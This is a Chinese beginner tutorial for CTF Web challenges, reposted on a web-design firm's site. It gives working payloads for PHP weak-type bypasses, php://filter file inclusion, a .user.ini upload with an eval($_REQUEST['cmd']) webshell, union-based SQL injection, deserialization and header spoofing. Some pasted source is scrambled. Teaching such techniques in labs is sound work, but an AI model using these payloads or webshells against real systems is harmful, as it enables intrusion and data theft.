尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

零基础通关CTF Web题库|16大高频题型实战详解(附完整Payload)

零基础通关CTF Web题库|16大高频题型实战详解(附完整Payload)
📅 发布时间:2026/7/10 11:27:53

很多刚入门网安、接触CTF的小伙伴,都会卡在Web题型看不懂、漏洞不会利用、Payload不会写的难题上。其实CTF Web入门题型套路固定、考点重复,吃透基础题型就能拿下80%的入门分值。

本文整理CTF Web赛道16种必考基础题型,涵盖文件包含、文件上传、SQL注入、反序列化、HTTP头绕过、弱口令绕过等核心考点,全程零基础友好,附带完整源码解析、绕过思路、实操步骤和Flag获取方式,搭配标准配图指引,新手可直接跟着复现刷题。

适合人群:CTF零基础新手、网安入门学习者、赛前刷题冲刺选手
学习收获:掌握Web基础漏洞核心原理、熟记通用Payload、学会BP抓包、伪协议利用、源码审计等实操技能

一、PHP弱类型绕过(参数校验漏洞)

  1. 题型原理
    PHP存在经典弱类型特性:不同类型数据比较时,会自动进行类型转换。字符串与数字对比时,会截取字符串开头数字部分参与运算,剩余字符直接忽略,常用来绕过「非数字+数值大小」的矛盾校验条件。

  2. 核心源码解析

// 双重矛盾校验条件if(is_array($c)&&!is_numeric($c["m"])&&$c["m"]>2022)

校验逻辑拆解:

  • 要求 $c[“m”]不是纯数字(!is_numeric)
  • 同时要求 $c[“m”]数值大于2022
  • 常规数值无法满足双重条件,必须利用PHP弱类型特性绕过
  1. 实战绕过思路
    构造 2023x 格式参数:字符串非纯数字,满足!is_numeric;PHP自动截取开头2023,满足大于2022的条件。

  2. 拓展数组弱类型绕过
    另一组核心矛盾逻辑:array_search(“DGGJ”, $c[“n”]) 弱匹配(==)+ 遍历拦截,利用0匹配任意非数字字符串特性绕过,最终完整Payload:
    ?a=1e9&b=53724&c={“m”:“2023x”,“n”:[[],0]}

二、PHP文件包含伪协议绕过(双参数校验)

  1. 题型考点
    核心考点:php://input 伪协议读取POST数据 + base64过滤器读取源码,是CTF文件包含最经典入门题型,重点考察双参数联动校验绕过。

  2. 靶场源码

<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"])&&isset($_GET["file2"])){$file1=$_GET["file1"];$file2=$_GET["file2"];if(!empty($file1)&&!empty($file2)){// 严格匹配file2内容为hello ctfif(file_get_contents($file2)==="hello ctf"){include($file1);}}elsedie("NONONO");}?>
  1. 漏洞难点分析
  • file2 需要精准匹配字符串 hello ctf,无文件可直接利用
  • file1 需要包含flag.php读取密钥
  • 常规文件包含无法满足严格字符串匹配条件
  1. 完整绕过方案
  2. file2赋值:php://input(读取POST请求原始数据)
  3. file1赋值:base64过滤伪协议,读取flag源码
  4. POST传参:请求体写入 hello ctf,满足严格匹配

最终请求URL:
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
抓取响应Base64编码内容,解码后即可获取Flag:cyberpeace{4ac5762a8c1149754fecc0727f8245f4}

三、Cookie文件包含漏洞

  1. 漏洞核心
    页面Cookie参数可控,源码直接拼接 .php 后缀执行包含,无过滤机制,可通过伪协议直接读取flag文件。
  2. 审计源码
<?phpif(!ini_get('display_errors')){ini_set('display_errors','On');}error_reporting(E_ALL);$lan=$_COOKIE['language'];if(!$lan){@setcookie("language","english");ish.php"); } else { // 可控Cookie拼接后缀包含文件 @include($lan.".p$x=file_get_contents('index.php');echo$x;?>hp"); } @include("engl
  1. 实操步骤

①. BP抓取页面请求,新增Cookie字段:language=php://filter/read=convert.base64-encode/resource=flag
②. 发送请求获取Base64编码结果
③. 解码得到最终Flag:cyberpeace{b6408b005f630c84392534b561a3b11e}

四、.user.ini文件上传漏洞(绕过文件检测)

  1. 题型考点
    利用PHP .user.ini 自定义配置文件特性,实现全局文件包含,适配Nginx/Apache/IIS全服务器环境,比.htaccess适配性更广,是文件上传高频考点。

  2. 漏洞原理
    auto_prepend_file 配置项可指定文件,让当前目录所有PHP文件执行前自动包含目标文件,配合图片马即可绕过文件格式检测,实现木马执行。

  3. 上传绕过流程
    步骤1:上传配置文件 .user.ini
    文件内容(头部添加GIF文件头绕过检测):

GIF89a auto_prepend_file=a.jpg

步骤2:上传图片木马 a.jpg
绕过PHP关键字检测,精简一句话木马:

GIF89a eval($_REQUEST['cmd']);

步骤3:蚁剑连接GetShell
上传成功后,通过页面回显的uploads路径,使用蚁剑连接,遍历目录读取Flag:cyberpeace{ad52e4c9c059ea19ea336207a41e00e6}

五、基础SQL注入(万能密码绕过)

  1. 题型介绍
    入门最简SQL数字型注入,无过滤无WAF,直接使用万能注释语句闭合SQL语句,绕过登录/参数校验。
  2. 核心Payload
    数字型参数通用注入语句:?id=1’or 1=1 --+
  3. 原理说明
    1=1 恒成立,–+ 注释后续SQL语句,破坏原有查询逻辑,查询出所有数据,直接回显Flag:cyberpeace{633662b2e55ddce9e7f32e26ee90c312}

六、Robots协议漏洞(目录泄露)

  1. 漏洞原理
    robots.txt 是网站爬虫协议文件,用于声明禁止爬虫访问的目录/文件,CTF题型中常故意隐藏Flag文件路径,访问该文件即可泄露敏感文件地址。
  2. 实操步骤
    ①. 访问站点根目录下 /robots.txt
    ②. 读取禁止访问的文件名(如 f1ag_1s_h3re.php、fl0g.php)
    ③. 直接访问该PHP文件获取Flag
    对应Flag:cyberpeace{dff1bac891dfcfef7f0cba9b39fcbe2a}、cyberpeace{1f090e38b1c328cf28a7753c3d663bba}

七、GET/POST双请求绕过

  1. 题型要求
  • GET方式提交参数:a=1
  • POST方式提交参数:b=2
  1. 实操方法
    使用BP抓包,URL拼接GET参数,请求体写入POST参数,一次请求满足双重条件,直接回显Flag:cyberpeace{e0a58dc2367d2c8aa1108da5ccba97ff}

八、前端源码绕过(禁用按钮/右键限制)

  1. 题型场景
    页面设置JS限制:禁用鼠标右键、按钮disabled不可点击,Flag隐藏在前端源码注释或按钮属性中。

  2. 两种绕过方式
    ①. F12打开开发者工具,直接删除按钮 disabled 属性,点击按钮获取Flag
    ②. 查看页面源代码,检索注释内容,提取隐藏Flag
    对应Flag:cyberpeace{48eefe6a357d126fa893206521526cde}、cyberpeace{911f212270286f4c4aa587e1216a9a49}

九、Cookie请求头漏洞

  1. 漏洞挖掘
    页面响应头隐藏Cookie路径提示look-here: cookie.php,访问该文件并查看HTTP响应头,即可提取Flag。

  2. 实操步骤
    ①. F12查看网络请求响应头,找到隐藏路径
    ②. 访问 cookie.php
    ③. 抓取响应报文,提取头部隐藏Flag

十、备份文件泄露漏洞

  1. 题型原理
    网站开发、运维过程中常遗留源码备份文件(后缀.bak、.zip、.tmp),通过目录扫描工具可遍历获取,备份文件中直接包含源码与Flag。
  2. 实操流程
  3. 使用御剑目录扫描工具扫描站点
  4. 发现备份文件 index.php.bak
  5. 下载文件,打开直接读取Flag:Cyberpeace(855A1C4B3401294CB6604CCC98BDE334)

十一、整数暴力破解漏洞

  1. 题型特点
    页面参数 ?id=1 无注入漏洞,仅为整数遍历校验,Flag隐藏在特定ID对应的页面中,需通过Burp爆破遍历获取。

  2. 爆破配置

  • 攻击模式:Sniper(单参数爆破)
  • payload范围:1-3000整数遍历
  • 通过响应长度差异,筛选异常页面获取Flag

十二、双层URL编码绕过

  1. 漏洞原理
    源码对参数执行一次URL解码,直接传入明文 admin 会被拦截,通过双层编码绕过服务器过滤。

  2. 绕过逻辑

  • 小写a的十六进制编码:61
  • 百分号%的十六进制编码:25
  • 双层编码结果:%2561dmin,服务器解码一次后得到 admin,绕过校验
    最终Payload:?id=%2561dmin,获取Flag:cyberpeace0c25fff22b21b0f68b09aade8aa71e4e

十三、PHP反序列化绕过(跳过wakeup)

  1. 核心原理
    PHP反序列化特性:序列化字符串声明的属性数量 > 类实际属性数量 时,会触发反序列化异常,跳过 __wakeup() 魔术方法执行。

  2. 源码与绕过步骤
    靶场核心类:

classxctf{public$flag='111';// 触发即拦截请求publicfunction_wakeup(){exit("bad requests");}}

正常序列化结果:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
绕过修改:将属性数量1改为2,触发异常跳过wakeup,最终Payload:?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
获取Flag:cyberpeace{5a57ccfb71b07663937c9c0dd1c036b9}

十四、双重弱类型变量绕过

  1. 双重校验条件
  • $a==0 && $a:a弱等于0,且非空存在
  • !is_numeric($b) && $b>1234:b非数字,数值大于1234
  1. 精准Payload
  • a=0:满足弱等于0且存在
  • b=1235c:非纯数字,PHP截取1235大于1234
    最终URL:?a=0&b=1235c,Flag:Cyberpeace(647E37C7627CC3E4019EC69324F66C7C)

十五、联合查询SQL注入(高阶)

  1. 注入流程详解
    针对搜索框无过滤注入,通过order by判字段数、union查回显位、查表/查字段/查数据完整流程获取Flag。

  2. 分步Payload
    ①. 判断字段数:1’ order by 3#(共3个字段)
    ②. 查询回显位:1’ union select 1,2,3 #(2、3号位可回显)
    ③. 查询数据库名:1’ union select 1,database(),3 #
    ④. 查询数据表:1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
    ⑤. 十六进制查表字段(规避引号拦截):1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7365637265745f7461626c65 #
    ⑥. 查询Flag数据:1’ union select 1,fl4g,3 from secret_table #
    最终Flag:QCTF{sq1_inJec7ion_ezzz}

十六、XFF请求头伪造漏洞

  1. 题型考点
    页面限制指定IP访问,通过伪造 X-Forwarded-For 请求头,模拟指定客户端IP绕过访问限制。

  2. 实操步骤
    ①. BP抓取页面GET请求
    ②. 新增请求头:X-Forwarded-For: 123.123.123.123
    ③. 发送请求,绕过IP校验获取Flag

十七、CTF通用解密算法(源码逆向)

  1. 加密源码分析
    靶场给出加密字符串与自定义加密函数,需逆向算法编写解密脚本:
<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";// 加密流程:字符串反转→ASCII+1→base64编码→rot13→再次反转functionencode($str){$_o=strrev($str);for($_0=0;$_0<strlen($_o);$_0++){$_c=substr($_o,$_0,1);$__=ord($_c)+1;$_c=chr($__);$_=$_.$_c;}returnstr_rot13(strrev(base64_encode($_)));}?>
  1. 逆向解密脚本
<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";functiondecode($str){// 逆序解密:反转rot13→base64解码→ASCII-1→字符串反转$a=base64_decode(strrev(str_rot13($str)));$res='';for($_0=0;$_0<strlen($a);$_0++){$_c=substr($a,$_0,1);$__=ord($_c)-1;$res.=chr($__);}returnstrrev($res);}echodecode($miwen);?>

十八、零基础CTF Web刷题总结

本文覆盖的16类题型,是校赛、省赛、攻防世界、CTFHub的入门必考题型,所有漏洞均围绕PHP语言特性、HTTP协议、文件解析、数据库查询四大核心逻辑展开。

新手刷题核心思路:先审源码、再找可控点、利用语言/协议特性绕过、最后获取Flag,熟记本文Payload和绕过逻辑,可快速入门CTF Web赛道。

配套学习资料领取方式

为帮助零基础小伙伴系统吃透 CTF‑Web 漏洞,我整理了全套配套资源:

  1. 本文所有题目可运行 PHP 源码、Payload 集合;
  2. Burp Suite 配置包、目录扫描工具、蚁剑以及环境搭建教程;
  3. 1800 页 CTF 刷题手册、攻防世界真题解析;
  4. PHP 审计笔记、SQL 注入字典、反序列化学习文档;
  5. 网安大厂面试题库以及零基础网安学习路线图。

想要全套资料的朋友:
评论区回复【CTF 入门】,再私信发送关键词:01web,我会把网盘下载链接发给大家。

注意:资料全部免费,非商业用途,仅限学习交流,请勿私自倒卖。

相关新闻

  • 怎么选工地人员管理场景的智能工牌 - 悠然8888
  • STM32 Cortex-M4 中断标志清除延迟:4个NOP指令解决单次事件触发两次中断
  • OpenHarmony 3.2-5.0 镜像烧录:HDC工具12个核心命令与设备调试实战

最新新闻

  • 哔咔漫画下载器终极指南:如何3步打造个人离线漫画库
  • 2026年7月最新帝舵天津河东万达广场维修保养服务电话 - 帝舵中国官方服务中心
  • 小红书数据采集终极指南:3步轻松掌握Python自动化工具
  • 厨房食品安全检测数据集与YOLO模型实战指南
  • 众智商学院六西格玛绿带1580元怎么确认?绿带黑带费用、课程资料和咨询入口怎么核对 - 众智商学院职业教育
  • 直流电机POV旋转LED显示:赛博朋克风格全息效果DIY指南

日新闻

  • OpenClaw本地化部署:xParse文档解析引擎实战指南
  • 蓝牙 5.4 协议栈深度解析:从 HCI 到 L2CAP 的 7 层数据流
  • PyTorch nn.CrossEntropyLoss 实战:3种权重设置与标签平滑对比(附代码)

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号